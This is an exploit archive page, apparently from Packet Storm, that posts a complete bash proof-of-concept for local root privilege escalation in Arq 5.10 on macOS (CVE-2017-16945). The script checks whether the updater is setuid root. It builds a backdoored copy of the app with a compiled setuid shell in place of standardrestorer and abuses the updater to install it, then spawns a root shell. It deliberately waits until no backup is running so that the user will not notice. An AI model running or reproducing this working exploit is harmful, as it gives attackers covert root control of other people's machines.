Twenty Year Anniversary

Arq 5.10 Local Privilege Escalation

Arq 5.10 Local Privilege Escalation
Posted Jan 29, 2018
Authored by Mark Wadham

Arq version 5.10 suffers from a local privilege escalation vulnerability. Proof of concept 2 of 2.

tags | exploit, local, proof of concept
advisories | CVE-2017-16945
MD5 | 167d6d2ff29f9f810d3814645ed35ec7

Arq 5.10 Local Privilege Escalation

Change Mirror Download
#!/bin/bash

#################################################################
###### Arq <= 5.10 local root privilege escalation exploit ######
###### by m4rkw - https://m4.rkw.io/blog.html ######
#################################################################

app="/Applications/Arq.app"
res="$app/Contents/Resources"
lires="$app/Contents/Library/LoginItems/Arq Agent.app/Contents/Resources"

vuln=`ls -la "$lires/arq_updater" |grep '\-rws' |grep root`

if [ "$vuln" == "" ] ; then
echo "Not vulnerable - auto-updates not enabled."
exit 1
fi

if [ "$1" != "-f" ] ; then
latest_logfile="`ls -1t ~/Library/Logs/Arq\ Agent/ |head -n1`"
status_line="`egrep -i 'backup session.*?(ended|started)' \
\"$HOME/Library/Logs/Arq Agent/$latest_logfile\" |tail -n1 |grep -i started`"

if [ "$status_line" != "" ] ; then
echo -n "WARNING: backup in progress, the user will very "
echo "likely notice if we exploit now!"
echo "use -f to override."
exit 1
fi
fi

owd="`pwd`"

if [ -e ~/.arq_510_privesc_exp ] ; then
rm -rf ~/.arq_510_privesc_exp
fi

mkdir ~/.arq_510_privesc_exp
cd ~/.arq_510_privesc_exp

echo "copying application..."

cp -R /Applications/Arq.app .

echo "compiling payloads..."

cat > payload.sh <<EOF
#!/bin/bash
rm -rf $HOME/.arq_510_privesc_exp
while :
do
pid=\`ps auxwww |grep '$app/Contents/MacOS/Arq' |grep -v grep |xargs \
|cut -d ' ' -f2\`
if [ "\$pid" != "" ] ; then
kill -9 \$pid
open $app/Contents/Library/LoginItems/Arq\ Agent.app
exit 0
fi
done
EOF
chmod 755 payload.sh

au_relative=`echo "$lires/standardrestorer" |sed 's/^\/Applications\///'`

cat > shell.c <<EOF
#include <unistd.h>
#include <string.h>
int main(int ac, char *av[])
{
if (ac > 1 && strcmp(av[1], "boom") == 0) {
setuid(0);
setgid(0);
execl(
"/bin/bash","bash","-c","mv -f $res/standardrestorer.orig $res/standardr"
"estorer;chmod 4755 $res/standardrestorer;$HOME/.arq_510_privesc_exp/pay"
"load.sh;/bin/bash", NULL
);
}
return 0;
}
EOF
mv Arq.app/Contents/Resources/standardrestorer \
Arq.app/Contents/Resources/standardrestorer.orig
gcc -o Arq.app/Contents/Resources/standardrestorer shell.c
rm -f shell.c

payload_size=`stat Arq.app/Contents/Resources/standardrestorer |cut -d ' ' -f8`
GID=`id |sed 's/^.*gid=//' |cut -d '(' -f1`
cwd=`pwd`

echo "creating backdoored Arq.zip..."
zip -1r Arq.zip Arq.app/ 1>/dev/null 2>/dev/null
rm -rf Arq.app/

echo "executing upgrade..."

"$lires/arq_updater" installupdate file://$cwd/Arq.zip $UID $GID YES \
1>/dev/null 2>/dev/null

echo "waiting..."
while :
do
ac_size=`stat $res/standardrestorer 2>/dev/null |cut -d ' ' -f8`
x=`ls -la $res/standardrestorer |grep -- '-rwsr-xr-x' |grep root`

if [ "$ac_size" == "$payload_size" -a "$x" != "" ] ; then
cd "$owd"
$res/standardrestorer boom
exit 0
fi
sleep 0.2
done

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

August 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    19 Files
  • 2
    Aug 2nd
    17 Files
  • 3
    Aug 3rd
    16 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    1 Files
  • 6
    Aug 6th
    19 Files
  • 7
    Aug 7th
    15 Files
  • 8
    Aug 8th
    9 Files
  • 9
    Aug 9th
    7 Files
  • 10
    Aug 10th
    10 Files
  • 11
    Aug 11th
    1 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    14 Files
  • 14
    Aug 14th
    18 Files
  • 15
    Aug 15th
    38 Files
  • 16
    Aug 16th
    5 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close